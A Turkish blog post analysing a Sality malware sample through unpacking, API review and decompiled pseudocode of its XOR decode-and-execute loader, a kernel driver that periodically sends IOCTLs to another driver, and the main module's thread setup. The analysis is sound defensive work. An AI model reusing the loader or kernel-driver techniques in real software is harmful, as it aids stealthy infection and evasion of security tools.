Gönderi

Tango Scramble 3: Sality Zararlısı Yayılım ve Enfeksiyon Mekanizmalarına Derinlemesine Analiz

Tango Scramble 3: Sality Zararlısı Yayılım ve Enfeksiyon Mekanizmalarına Derinlemesine Analiz

Scramble Terminolojisi Hakkında: Bu yazı serisinin isimlendirme mantığı (Alpha, Tango vb. Scramble kodları) hakkında detaylı bilgi almak için Scramble Konsepti yazımı okuyabilirsiniz.

Yönetici Özeti (Executive Summary)

İncelenen zararlı yazılım, “Sality” ailesine ait gelişmiş bir polimorfik virüs ve botnet bileşenidir. Analiz edilen örnek, sisteme sızdıktan sonra Antivirüs ve güvenlik yazılımlarını (AV/EDR) devre dışı bırakma, kayıt defteri (Registry) üzerinden Güvenli Mod’u (SafeBoot) bozarak kalıcılık sağlama ve kendini hem yerel hem de taşınabilir (USB vb.) sürücülere kopyalayarak yayılma yeteneklerine sahiptir. Zararlı, merkezi bir sunucu (C2) yerine, kendi oluşturduğu dağıtık bir ‘Peer-to-Peer’ (P2P) UDP ağı üzerinden diğer virüslü cihazlarla iletişim kurmakta ve talimat almaktadır. Çalışma yapısı itibarıyla sistemin çekirdeğine (kernel mod) kadar inebilen ve süreçlere doğrudan müdahale edebilen yüksek tehdit seviyesine sahip bir araçtır. Kurum ağlarında bu tür bir enfeksiyonun tespiti halinde, derhal ağ izolasyonuna gidilmeli ve yatay yayılımı önlemek amacıyla kapsamlı bir olay müdahalesi başlatılmalıdır.


[https://bazaar.abuse.ch/sample/5b6430e115eb28e10d4e38f3cf311fd9fd39b358ab0dcd6d7ff49bf9d01dab3a/#intel]

image.png

Analize başlamadan önce zararlı dosya arşivden çıkartılmıştır.

image.png

Binary dosyasının UPX ile paketlendiği (packed) görülmüştür.

image.png

Dosya, UPX kullanılarak kendi ortamımızda paketleyiciden çıkarılabilir; ancak içerdiği diğer arka plan süreçlerine ve bileşenlere daha hızlı/temiz erişebilmek adına [unpac.me] servisi kullanılmıştır.

CFF Explorer ile dosya incelendiğinde, Borland Delphi 4.0 ile derlendiğine dair izler bulunmuştur.

Dosya hakkında ek bilgi toplamak amacıyla ANY.RUN ve Hybrid Analysis raporları incelenmiştir.

[https://app.any.run/tasks/d3aeaba2-b499-4825-a83b-0320e9281712]

analiz raporu doğrultusunda Sality ailesine ait izler tespit edilmiştir.

Sality, çalıştırılabilir dosyaları enfekte etmesi ve ağlar arasında hızla yayılmasıyla bilinen son derece gelişmiş bir kötü amaçlı yazılımdır. Başlıca amacı, spam gönderme, veri hırsızlığı ve ek kötü amaçlı yazılım indirme gibi zararlı faaliyetler için kullanılan eşler arası bir botnet oluşturmaktır. Sality, güvenlik yazılımlarını devre dışı bırakmak da dahil olmak üzere güçlü kalıcılık mekanizmalarına sahiptir ve bu da kaldırılmasını zorlaştırır. Hızlı ve sessiz yayılma yeteneği ve polimorfik yapısı, geleneksel antivirüs çözümleri tarafından tespit edilmekten kaçınmasını sağlar.

Dosya İşlemleri (File I/O)

  • CreateFileW, WriteFile, ReadFile, SetFilePointer, MoveFileExW, CreateDirectoryW

Bu API seti, dosya oluşturma, kopyalama ve taşıma işlemlerinin mevcut olduğunu göstermektedir. Tek başına değerlendirildiğinde bu çağrılar zararlı davranışı kesin olarak kanıtlamaz; ancak sonraki analiz adımlarında görülen dosya enfeksiyonu, kopyalama ve silme rutinleriyle birlikte okunduğunda anlam kazanmaktadır.


Bellek Yönetimi (Memory Operations)

  • VirtualAlloc, VirtualFree, GlobalAlloc

Bu çağrılar, çalışma zamanında dinamik bellek tahsisi yapıldığını göstermektedir. Bu bilgi tek başına shellcode yürütümü veya enjeksiyon anlamına gelmez; ancak sonraki fonksiyon analizlerinde bellek üzerinde payload hazırlama davranışıyla birlikte değerlendirildiğinde önem kazanmaktadır.


Dinamik API Çözümleme (Dynamic API Loading)

  • LoadLibraryA/W, GetProcAddress

Bu tespitin önemi şunlardır:

  • Zararlı, IAT (Import Address Table) tablosunu gizleyerek API çağrılarını örtbas etmeyi (API hiding) amaçlamaktadır.
  • Obfuscation (kod karmaşıklaştırma) uygulandığının temel göstergesidir.

Süreç Enjeksiyon Göstergeleri (Process/Injection Signals)

  • ReadProcessMemory, VirtualFreeEx, UnmapViewOfFile

Bu API’ler, süreç belleğiyle etkileşim kurulabildiğini düşündüren ön göstergelerdir. Ancak yalnızca import veya yüzeysel API varlığından hareketle süreç enjeksiyonu hükmüne varılmamalıdır. Bu makalede enjeksiyon değerlendirmesi, daha sonraki bölümlerde incelenen VirtualAllocEx, WriteProcessMemory ve CreateRemoteThread çağrı zincirine dayandırılmaktadır.


Süreçler Arası İletişim (IPC / Named Pipe)

  • CreateNamedPipeW, ConnectNamedPipe, WaitNamedPipeW, SetNamedPipeHandleState, DisconnectNamedPipe

Davranışsal Anlamı: Adlandırılmış boru (Named Pipe) desteği, süreçler arası iletişim kurulabildiğini göstermektedir. Ancak ek kullanım bağlamı olmadan bunun C2, yerel IPC ya da meşru uygulama mantığı için kullanıldığı kesinleştirilemez.


Anti-Analiz ve Stabilite (Anti-Analysis / Stability)

  • SetUnhandledExceptionFilter

Bu yapı, klasik bir istisna yönetimi (exception handling) tekniğidir. Bir çökme (crash) anında kontrolün işletim sistemine bırakılmasını engellemekte ve reverse engineering / hata ayıklama (debugging) sürecini zorlaştırmayı hedeflemektedir.


Kaynak Yönetimi (Resource Utilization)

  • FindResourceW, LoadResource, LockResource

Bu API kullanımı, örneğin gömülü veri veya kod parçalarını kaynak bölümünden çalışma anında çıkardığını göstermektedir. Ancak kaynak bölümündeki verinin tam niteliği, bu çağrıların tek başına değil ilgili çözme ve yürütme fonksiyonlarıyla birlikte değerlendirilmesiyle anlaşılmaktadır.


Zamanlama ve İş Parçacığı Kontrolü (Thread / Timing)

  • Sleep, GetTickCount

Bu çağrılar zamanlama kontrolü ve bekleme mekanizması sağladığını göstermektedir. Anti-analysis amacı olasıdır; ancak tek başına Sleep veya GetTickCount kullanımından sandbox kaçınma sonucu çıkarılmamalıdır.

unpac.me servisine yüklenen örnek başarıyla paketleyici katmanından arındırılmıştır.

image.png

image.png

Ortaya çıkan bileşenler sırasıyla statik ve dinamik analize tabi tutulacaktır.

image.png

2cdacb5d742167599b826f899807cee2745c86d38a294c76cc4323b3ac0faeec kodlu dosya IDA ortamında analiz edildiğinde, içerikte hata ayıklayıcı (debugger) engelleme mekanizmalarının mevcut olduğu tespit edilmiştir:

image.png

image.png

incelenen örnek, 32-bit bir PE32 GUI binary’sidir. Sınırlı fakat dikkat çekici KERNEL32.dll import seti, dinamik API çözümleme (GetProcAddress, LoadLibraryA), bellek ayırma (VirtualAlloc) ve anti-debug/exception yönetimi (IsDebuggerPresent, SetUnhandledExceptionFilter) gibi özellikler göstermektedir. Buna karşın ağ, süreç enjeksiyonu veya kalıcılık kurulumuna yönelik zengin bir işlev kümesi barındırmamaktadır. Bu nedenle örnek, ana payload’dan ziyade küçük bir stage/stub/loader benzeri bileşen olarak değerlendirilmektedir.

Decompiler (IDA/Ghidra) üzerinden programın başlangıç (Entry) noktasına gidildiğinde, yürütmenin ___tmainCRTStartup üzerinden başladığı görülmektedir.

image.png

image.png

CRT Başlangıç (Startup) Süreci

Bu süreçte gerçekleştirilen temel işlemler şunlardır:

  • Çalışma zamanı (runtime) ortamının kurulması.
  • Komut satırı argümanları ve ortam değişkenlerinin (environment variables) hazırlanması.
  • Pencere başlangıç durumunun alınması.
  • Tüm hazırlıkların ardından asıl yürütme noktası olan FUN_00401000(uVar2) fonksiyonuna dallanılması.
  • Yürütme tamamlandıktan sonra dönen değerin süreç (process) çıkış kodu olarak atanması.

C Runtime (CRT) Nedir?

CRT (C Runtime), derlenmiş bir programın yürütülebilmesi için arka planda çalışan altyapıdır.

Temel İşlevleri:

  • İşletim sisteminden döner dönmez programı başlatır.
  • Asıl main fonksiyonu çağrılmadan önce ortamı uygun hale getirir.
  • Heap alanını, argv listesini ve ortam değişkenlerini (environment variables) kurar.
  • İşlem sonlandırma (exit) prosedürlerini yürütür.

Analiz Perspektifinden Değerlendirilirse:

Yazılımın ana operasyonel noktası veya zararlı işlevi değil; derleyici tarafından eklenen “tetikleyici başlangıç motoru” (startup wrapper) rolündedir.


Analiz Akışının Temeli

İlgili bileşenin incelenme amacı:

Uygulama kontrol akışının (execution flow), bu başlangıç motorundan doğrudan gerçek zararlı yazılım koduna geçtiği aktarım noktası olmasıdır.

Yürütme Akışı (Execution Flow):

1
Entry Point -> CRT (`tmainCRTStartup`) -> Main Payload Logic (`FUN_00401000`)

Sıradaki aşamada FUN_00401000 fonksiyonu incelenmiştir.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
undefined4 __fastcall FUN_00401000(int param_1)

{
  uint uVar1;
  char cVar2;
  uint uVar3;
  int iVar4;
  int extraout_ECX;
  undefined4 uStack_103b4;
  byte abStack_103b0 [4464];
  undefined1 auStack_f240 [62004];

  if (DAT_0041ac51 != '\0') {
    iVar4 = 0x103a3;
    uStack_103b4 = abStack_103b0;
    uVar3 = (uint)CONCAT11(DAT_0041ac53,(char)(~DAT_0041ac52 + DAT_0041ac53) >> 1);
    do {
      cVar2 = (char)uVar3;
      uVar1 = uVar3 >> 8;
      uVar3 = CONCAT31((int3)(uVar3 >> 8),cVar2 + '\x01');
      abStack_103b0[iVar4 + -1] = *(char *)((int)&UNK_0040105d + iVar4 + 2) + cVar2 ^ (byte)uVar1;
      iVar4 = iVar4 + -1;
    } while (iVar4 != 0);
    (*(code *)(abStack_103b0 + 0x1170))();
    param_1 = extraout_ECX;
  }
  FUN_004021d0(param_1);
  return 0;
}

Fonksiyonun Amacı ve Davranışı

Özünde bu fonksiyon:

Yığın (stack) bölgesinde şifreli durumdaki (obfuscated) zararlı yükü çalışma zamanında çözerek (decode) yürütmektedir.


Teknik İnceleme ve Akış

Yürütme Koşulları (Execution Gates)

1
if (DAT_0041ac51!='\0')

Kontrol Bayrağı (Control Byte)

Payload yalnızca DAT_0041ac51 != '\0' koşulu sağlandığında çözümlenip yürütülmektedir.


Yığın (Stack) Tampon Bölgesi

1
byte abStack_103b0[4464];

Bu alan:

Çözümlenmiş zararlı yükün belleğe yazıldığı hedef bölgedir.


Şifre Çözme Döngüsü (Decode Loop)

1
2
3
4
do {
  ...
abStack_103b0[...]=*(...)+cVar2^ (byte)uVar1;
}while (...)

Bu mekanizma:

Özel bir XOR tabanlı ve aritmetik şaşırtma (obfuscation) tekniği kullanmaktadır.


Kaynak Veri Konumu

1
UNK_0040105d

İlgili hedef:

İkili dosya içerisine gömülmüş şifreli zararlı yüktür.


Kritik Yürütme Çağrısı

1
(*(code*)(abStack_103b0+0x1170))();

Çıkarım:

Stack üzerinde çözümlenen veri, belirli bir ofsette fonksiyon işaretçisi olarak çağrılmaktadır.


Çıkarım:

Çözümleme (Decode) -> Yürütme (Execute)


Değerlendirme

Bu fonksiyon:

Bellek üzerinde (in-memory) kabuk kodu yürüten bir yükleyici (loader) mekanizmasıdır.


Akış Şeması

1
Encoded Data -> Decode Loop -> Stack Buffer -> Execution Call (abStack + offset)

Analiz edilen örnek, gömülü ve obfuscation uygulanmış bir payload’ı çalışma anında çözen ve stack üzerinde oluşturduğu buffer üzerinden doğrudan fonksiyon pointer çağrısı ile çalıştıran bir in-memory loader’dır. Payload statik olarak disk üzerinde açık biçimde bulunmamakta, çalışma sırasında dinamik olarak çözülmektedir.

Yardımcı bileşenin analizi tamamlandıktan sonra, asıl zararlı modülün incelenmesine geçilmiştir.

d34b4e7472d1df3603be48d10c4a267281bc3d39ea64c424de408f0876a3035a

image.png

d34b4e7472d1df3603be48d10c4a267281bc3d39ea64c424de408f0876a3035a dosyası

image.png

Entry noktası işlevi (function) analiz edildiğinde:

image.png

Decompiler üzerinde yapılan incelemedeki bulgular:

1
2
PsCreateSystemThread(...)
ObReferenceObjectByHandle(...)

Sürücü, çekirdek modunda (kernel-mode) yeni bir iş parçacığı oluşturmaktadır.


Sürücü Başlatma İşlemleri

1
2
IoCreateDevice
IoCreateSymbolicLink

Bu bulgular klasik sürücü başlatma rutinlerini göstermektedir. Esas tespit edilen yapı şöyledir:

1
2
(param_1+0x48)
(param_1+0x40)

IRP Yönlendirme

Bu:

1
DriverObject->MajorFunction[]

Bu durum, IRP (I/O Request Packet) istek yöneticisinin yapılandırıldığını göstermektedir.


Kritik Davranış

Şu satır:

1
for (ivar1=0; ivar1 < ... )

Bir döngü aracılığıyla MajorFunction parametre dizisi tamamen güncellenmektedir.


Davranışın Anlamı

Gelen tüm IRP çağrıları tek ve aynı IRP yöneticisine (handler) yönlendirilmektedir.


Çekirdek İş Parçacığı (Kernel Thread) Yönetimi

PsCreateSystemThread(&local_18, ...)

Sistem üzerinde yeni bir çekirdek iş parçacığı yaratılmaktadır.


Davranış Analizi

Sürücü:

Kendi zararlı süreçlerini arka planda otonom olarak (kernel dahilinde) sürdürmektedir.

Güvenlik Tespiti Perspektifi

Temel sebep:

Çekirdek modunda çalışan iş parçacıklarının Anti-Virüs / EDR çözümleri tarafından müdahalesi daha zordur.

image.png

Bileşen içerisindeki kritik fonksiyonlar incelendiğinde, öncelikle periyodik görevleri planlayan FUN_00010440 fonksiyonu dikkat çekmektedir.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void FUN_00010440(void)

{
  uint local_8;
  

  KeInitializeTimer(&DAT_00010e00);
  while (DAT_00010dbc == 0) {
    if ((9 < local_8) || (local_8 == 0)) {
      local_8 = 0;
    }
    KeSetTimer(&DAT_00010e00,0xf4143e00,0xffffffff,0);
    KeWaitForSingleObject(&DAT_00010e00,0,0,0,0);
    if (DAT_00010dbc != 0) break;
    local_8 = local_8 + 1;
  }
  KeCancelTimer(&DAT_00010e00);
  PsTerminateSystemThread(0);
  return;
}

İncelenen bu fonksiyon zararlının çekirdek mantığıyla doğrudan ilişkilidir. Tespitlere göre:

Sürücü tarafından başlatılan periyodik işçi/gözetmen iş parçacığıdır.

Bu işlem yapısı, yalnızca bir kereliğine yürütülen bir görev yerine, hedeflenen aralıklarla arka planda çalışan ve eylemleri periyodik olarak tetikleyen bir çekirdek döngüsü (kernel loop) göstermektedir.

Fonksiyonel Analiz

Yürütme (Execution) akışı doğrultusunda şu bulgulara ulaşılmıştır:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
KeInitializeTimer(&DAT_00010e00);

while (DAT_00010dbc == 0) {
  if ((9 < local_8) || (local_8 == 0)) {
    FUN_00010a3e(0);
    FUN_00010a3e(FUN_000108f0);
    local_8 = 0;
  }

  KeSetTimer(...);
  KeWaitForSingleObject(...);

  if (DAT_00010dbc != 0) {
    break;
  }

  local_8 = local_8 + 1;
}

KeCancelTimer(...);
PsTerminateSystemThread(0);

Bunun anlamı:

1. Zamanlayıcı (Timer) Hazırlığı

KeInitializeTimer

Çekirdek (Kernel) zamanlayıcı nesnesi oluşturulmakta ve hazırlanmaktadır.

2. Sonlandırma Bayrağı (Stop Flag) Kontrolü

DAT_00010dbc == 0 değeri sağlandığı sürece döngü devam etmektedir.

Bu değişken, döngünün sürdürülüp sürdürülmeyeceğini belirleyen bir kontrol bayrağı olarak davranmaktadır. Koda bakılarak bu bayrağın tam semantiği kesinleştirilemese de iş parçacığının sonlandırılmasıyla ilişkili olduğu görülmektedir.

3. Periyodik Görev Çağrıları

Döngü başlangıcında veya belirli bir sınırı aştığında:

  • FUN_00010a3e(0)
  • FUN_00010a3e(FUN_000108f0)

çağrılıyor.

Bu mimari, iş parçacığının periyodik görev çağrılarını planlayan bir dispatcher/scheduler rolü üstlendiğini göstermektedir.

4. Bekleme/Zaman Aşımı

KeSetTimer + KeWaitForSingleObject

İşleyiş:

  • Belirlenmiş süre kısıtında iş parçacığı askıya alınır (sleep).
  • Süre dolduğunda döngü devam ettirilir.

5. Döngü Çıkış Prosedürü

Sonunda timer iptal edilip:

PsTerminateSystemThread(0)

çağrısı ile iş parçacığı güvenli şekilde (graceful degradation) sonlandırılmaktadır.


İş Parçacığının Sistemdeki Rolü

Bu fonksiyon:

Periyodik Baştıcı (Periodic Dispatcher) / Zamanlayıcı

Gözlemlenen işlevi:

  • belirli aralıklarla yardımcı rutini çağırmak
  • döngüsel çalışma mantığını sürdürmek
  • kontrol bayrağı değiştiğinde iş parçacığını sonlandırmak

Kritik Analiz Çıkarımı

Analizlerin bundan sonraki ana odağı şu fonksiyon olmalıdır:

FUN_00010a3e

Zira çekirdek iş parçacığının tüm görev sevkini bu fonksiyon üzerinden gerçekleştirdiği doğrulanmıştır.

Ayrıca fonksiyon, iki farklı parametre ile (0 ve 000108f0 değerleri) çağrılmaktadır:

  • FUN_00010a3e(0)
  • FUN_00010a3e(FUN_000108f0)

Bu durum, aynı rutinin en az iki farklı parametre değeriyle çağrıldığını göstermektedir. Ancak bu parametrelerin semantiği, yalnızca bu kod kesiti üzerinden kesin biçimde belirlenememektedir.

FUN_000108f0 Parametresine İlişkin Gözlem

FUN_000108f0 değeri, FUN_00010a3e fonksiyonuna iletilen alternatif parametrelerden biridir. Bu değerin alıcı bileşen tarafından fonksiyon işaretçisi, durum kodu veya başka bir veri alanı olarak kullanılıp kullanılmadığı yalnızca gönderici taraftaki kod üzerinden doğrulanamamaktadır.

Driver, PsCreateSystemThread aracılığıyla ayrı bir kernel iş parçacığı başlatmaktadır. Bu thread, bir kernel timer kullanarak döngüsel biçimde çalışmakta ve belirli aralıklarla aynı yardımcı rutini farklı parametrelerle çağırmaktadır. Bu yapı, sürücünün periyodik görev icra eden bir dispatcher mantığı taşıdığını göstermektedir.

Zararlının dispatcher fonksiyonu olan FUN_00010a3e adresi incelendiğinde:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int FUN_00010a3e(undefined4 param_1)

{
  int iVar1;
  undefined4 local_24;
  int local_20;
  undefined4 local_1c;
  undefined1 local_18 [8];
  undefined1 local_10 [8];
  undefined4 local_8;
  
  local_24 = 0;
  local_20 = 0;
  local_1c = 0;
  local_8 = 0;
  RtlInitUnicodeString(local_10,L"\\Device\\IPFILTERDRIVER",0);
  iVar1 = IoGetDeviceObjectPointer(local_10,0x1f01ff,&local_20,&local_24);
  if (iVar1 == 0) {
    local_1c = param_1;
    local_8 = IoBuildDeviceIoControlRequest(0x128058,local_24,&local_1c,4,0,0,0,0,local_18);
    IofCallDriver();
    if (local_20 != 0) {
    }
  }
  return iVar1;

Bu fonksiyon:

başka bir kernel driver’a IOCTL gönderiyor

İşlem Analizi

Hedef Sürücü Bağlantısı

1
RtlInitUnicodeString(local_10,L"\\Device\\IPFILTERDRIVER");

Hedef sürücü yolu:

\Device\IPFILTERDRIVER


Cihaz Referansı Alma

1
IoGetDeviceObjectPointer(...)

Bu API çağrısı:

İşletim sistemi vasıtasıyla farklı bir kernel sürücüsüyle birleşim kurmak anlamına gelir.


IOCTL İsteği Oluşturma

1
IoBuildDeviceIoControlRequest(0x128058, ...)

IOCTL kodu:

1
0x128058

Parametre Aktarımı

1
local_1c = param_1;

Pratikte aktarılan değer:

  • ya 0
  • ya FUN_000108f0

Çekirdek İletişimi

1
IofCallDriver();

İşletim (IOCTL) talebinin hedef birime iletildiğini doğrulamaktadır.


Sistem Düzeyi İletişim

Gösterilen kod, analiz edilen sürücünün \Device\IPFILTERDRIVER nesnesine bağlanıp 0x128058 kodlu bir IOCTL isteği gönderdiğini ortaya koymaktadır. Bu nedenle güvenle söylenebilecek husus, örneğin başka bir kernel bileşeniyle doğrudan etkileşim kurduğudur.

Bu noktada dikkat edilmesi gereken sınır şudur:

  • hedef sürücünün meşru veya zararlı olduğuna bu kod kesiti tek başına karar verdirmez
  • gönderilen param_1 değerinin alıcı tarafta nasıl işlendiği henüz görülmemektedir
  • bu nedenle alıcı sürücünün payload yürüttüğü, hook kurduğu veya rootkit işlevi gördüğü sonucuna bu aşamada varılamaz

Bu bölüm için savunulabilir özet:

  • kernel thread başlatır
  • periyodik çalışır
  • başka bir sürücü nesnesine IOCTL gönderir

param_1 Değerinin Rolü

İlgili analizde önem taşıyan bir diğer veri kurgusu aşağıdaki gibidir:

1
2
FUN_00010a3e(0)
FUN_00010a3e(FUN_000108f0)

Çıkarım

Bu kod kesiti üzerinden doğrulanabilen husus, param_1 alanına iki farklı değerin yazılıp IOCTL isteği içinde iletildiğidir. Ancak alıcı bileşen analiz edilmeden bu değerin fonksiyon işaretçisi, durum kodu veya başka bir kontrol verisi olduğu kesin biçimde söylenemez.

Dosya Karakteristiği

Bu dosya:

Windows kernel-mode driver (.sys)

Detaylandırmak gerekirse:

Doğrudan gözlenen davranış, periyodik çalışan bir kernel thread üzerinden başka bir sürücü nesnesine IOCTL gönderen bir dispatcher/scheduler mantığıdır.


Faaliyet Analizi

Bu driver:

  • Yüklenince kernel thread oluşturur (PsCreateSystemThread)
  • Timer ile sürekli döngüde çalışır
  • Belirli aralıklarla:
1
\Device\IPFILTERDRIVER

adresinden çağrılabilen diğer yapı hedefi ile

1
IOCTL: 0x128058

gönderir


Özetle:

Bu bileşen, gözlenen kod akışı itibarıyla periyodik IOCTL iletimi yapan bir kernel dispatcher rolü sergilemektedir. Alıcı tarafta hangi işlevin yürütüldüğü ise bu kesitten tek başına doğrulanamamaktadır.


Mimari Rol

İlgili Sürücü (Dispatcher):

  • Görev Düzenleyici (Scheduler)
  • Tetikleyici / Atak İletken (Trigger)
  • Süreç arası iletişim köprüsü (IPC Layer)

Analiz edilen örnek, kullanıcı modunda çalıştırılabilir bir binary değil, Windows kernel seviyesinde çalışan bir sürücüdür (.sys). Bu nedenle doğrudan çalıştırılamamaktadır. Driver’lar yalnızca işletim sistemi tarafından yüklenebilir ve başlatılabilir.

Analiz kapsamında incelenen iki yardımcı bileşenin, ana zararlı yükü doğrudan içermek yerine çok aşamalı bir saldırı zincirinin parçası olarak görev yaptığı tespit edilmiştir.

İlk bileşen, Windows kernel seviyesinde çalışan bir sürücü (.sys) olup, sistemde yüklendikten sonra PsCreateSystemThread aracılığıyla ayrı bir kernel thread başlatmaktadır. Bu thread, bir kernel timer kullanarak periyodik biçimde çalışmakta ve her döngüde \Device\IPFILTERDRIVER isimli başka bir sürücüye belirli bir IOCTL isteği (0x128058) göndermektedir. Bu davranış, incelenen sürücünün doğrudan zararlı işlevleri gerçekleştirmekten ziyade, başka bir kernel bileşenini tetikleyen bir scheduler/dispatcher rolü üstlendiğini göstermektedir.

İkinci bileşen ise kullanıcı modunda çalışan bir PE32 binary olup, statik analizde sınırlı import setine rağmen dinamik API çözümleme ve bellek yönetimi fonksiyonları içermektedir. Detaylı incelemede, gömülü ve obfuscation uygulanmış bir veri bloğunu çalışma anında çözen bir döngü bulunduğu ve bu verinin stack üzerinde oluşturulan bir buffer içerisine yazıldığı görülmüştür. Ardından bu buffer içerisindeki belirli bir offset’ten fonksiyon pointer çağrısı yapılarak payload doğrudan bellek üzerinden çalıştırılmaktadır. Bu yapı, dosyanın disk üzerinde açık bir payload barındırmadığını, bunun yerine in-memory loader olarak görev yaptığını göstermektedir.

Her iki bileşen birlikte değerlendirildiğinde, analiz edilen örneklerin doğrudan zararlı aktivite gerçekleştiren ana payload’dan ziyade, daha karmaşık ve çok katmanlı bir saldırı mimarisinin ara bileşenleri olduğu anlaşılmaktadır. Bu mimari, payload’ın statik analizle tespit edilmesini zorlaştırmak amacıyla işlevlerin farklı katmanlara bölündüğünü göstermektedir.

Ardından incelenecek diğer bileşen:

8ec28b718336a05245f2138cbcc4fea8e45f698a40bfc6fd79162adf67333e8b

image.png

Dosya dizesi (string) analizinde kalıcılık (persistence) veya veri çalma (log stealer) faaliyetlerine işaret edebilecek ifadelere rastlanmıştır.

image.png

AV bypass ya da detection için stringler:

image.png

Komuta ve kontrol (C2) bağlantısına yönelik olarak çeşitli göstergelerin (IoC) metin düzeyinde bulunduğu da tespit edilmiştir.

image.png

Bu bilgiler raporun en son kısmında toplu olarak verilecektir.

Kalan bileşen, Ghidra kullanılarak statik analize tabi tutulmuştur.

image.png

Entry Noktası

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
/* WARNING: Removing unreachable block (ram,0x0040eedb) */

void entry(void)

{
  ushort uVar1;
  HANDLE pvVar2;
  undefined4 *puVar3;
  undefined1 uStackY_111b4;
  undefined4 uStackY_111b3;
  int iStackY_f83c;
  ushort auStackY_f838 [31554];
  undefined4 local_1b4;
  DWORD local_1b0;
  int local_1ac;
  int local_1a8 [3];
  int *local_19c;
  uint local_198;
  char acStackY_2c [4];
  int iVar4;
  int iVar5;

  FUN_004134c0();
  local_1b0 = 0;
  SetErrorMode(0x8002);
  WSAStartup(2,(LPWSADATA)&stack0xfffffe6c);
  InitializeCriticalSection((LPCRITICAL_SECTION)&lpCriticalSection_00414030);
  InitializeCriticalSection((LPCRITICAL_SECTION)&lpCriticalSection_00414018);
  InitializeCriticalSection((LPCRITICAL_SECTION)&lpCriticalSection_00414050);
  FUN_0040e5ba();
  iVar5 = 0;
  iVar4 = 0;
  acStackY_2c[0] = 'u';
  acStackY_2c[1] = -0x14;
  acStackY_2c[2] = '@';
  acStackY_2c[3] = '\0';
  pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_0040d400,(LPVOID)0x0,0,
                        &local_1b0);
  FUN_004010e5((int)pvVar2,iVar4,iVar5);
  iVar5 = 0;
  iVar4 = 0;
  acStackY_2c[0] = -100;
  acStackY_2c[1] = -0x14;
  acStackY_2c[2] = '@';
  acStackY_2c[3] = '\0';
  pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_00405397,(LPVOID)0x0,0,
                        &local_1b0);
  FUN_004010e5((int)pvVar2,iVar4,iVar5);
  iVar5 = 0;
  iVar4 = 0;
  acStackY_2c[0] = -0x3d;
  acStackY_2c[1] = -0x14;
  acStackY_2c[2] = '@';
  acStackY_2c[3] = '\0';
  pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_0040e3d1,(LPVOID)0x0,0,
                        &local_1b0);
  FUN_004010e5((int)pvVar2,iVar4,iVar5);
  iVar5 = 0;
  iVar4 = 0;
  acStackY_2c[0] = -0x16;
  acStackY_2c[1] = -0x14;
  acStackY_2c[2] = '@';
  acStackY_2c[3] = '\0';
  pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_00403f75,(LPVOID)0x0,0,
                        &local_1b0);
  FUN_004010e5((int)pvVar2,iVar4,iVar5);
  iVar5 = 0;
  iVar4 = 0;
  acStackY_2c[0] = '\x11';
  acStackY_2c[1] = -0x13;
  acStackY_2c[2] = '@';
  acStackY_2c[3] = '\0';
  pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_0040578b,(LPVOID)0x0,0,
                        &local_1b0);
  FUN_004010e5((int)pvVar2,iVar4,iVar5);
  local_19c = (int *)0x0;
  local_1ac = 0;
  local_198 = 0;
  local_1b4 = (uint)local_1b4._2_2_ << 0x10;
  FUN_0040eef0(local_1a8);
  FUN_0040f620(local_1a8,1);
  local_19c = (int *)FUN_0040f3a0(local_1a8);
  if (*local_19c == 0) {
    uStackY_111b4 = 0;
    puVar3 = &uStackY_111b3;
    for (iVar4 = 0x43ff; iVar4 != 0; iVar4 = iVar4 + -1) {
      *puVar3 = 0;
      puVar3 = puVar3 + 1;
    }
    *(undefined2 *)puVar3 = 0;
    *(undefined1 *)((int)puVar3 + 2) = 0;
    FUN_00407bbf(&uStackY_111b4);
    for (local_198 = 0; local_198 < 6000; local_198 = local_198 + 6) {
      local_1ac = *(int *)((int)&iStackY_f83c + local_198);
      uVar1 = *(ushort *)((int)auStackY_f838 + local_198);
      local_1b4 = CONCAT22(local_1b4._2_2_,uVar1);
      if ((local_1ac == 0) || (uVar1 == 0)) break;
      FUN_0040ef70(local_1a8,local_1ac,(uint)uVar1,0x1036a29,1);
    }
    FUN_0040f620(local_1a8,0);
    FUN_0040f420(local_1a8);
  }
  iVar5 = 0;
  iVar4 = 0;
  acStackY_2c[0] = 'n';
  acStackY_2c[1] = -0x12;
  acStackY_2c[2] = '@';
  acStackY_2c[3] = '\0';
  pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_00401189,(LPVOID)0x0,0,
                        &local_1b0);
  FUN_004010e5((int)pvVar2,iVar4,iVar5);
  iVar5 = 0;
  iVar4 = 0;
  acStackY_2c[0] = -0x6b;
  acStackY_2c[1] = -0x12;
  acStackY_2c[2] = '@';
  acStackY_2c[3] = '\0';
  pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_004038bb,(LPVOID)0x0,0,
                        &local_1b0);
  FUN_004010e5((int)pvVar2,iVar4,iVar5);
  iVar5 = 0;
  iVar4 = 0;
  acStackY_2c[0] = -0x44;
  acStackY_2c[1] = -0x12;
  acStackY_2c[2] = '@';
  acStackY_2c[3] = '\0';
  pvVar2 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress_00403d4b,(LPVOID)0x0,0,
                        &local_1b0);
  FUN_004010e5((int)pvVar2,iVar4,iVar5);
  do {
    Sleep(0x200);
  } while( true );
}

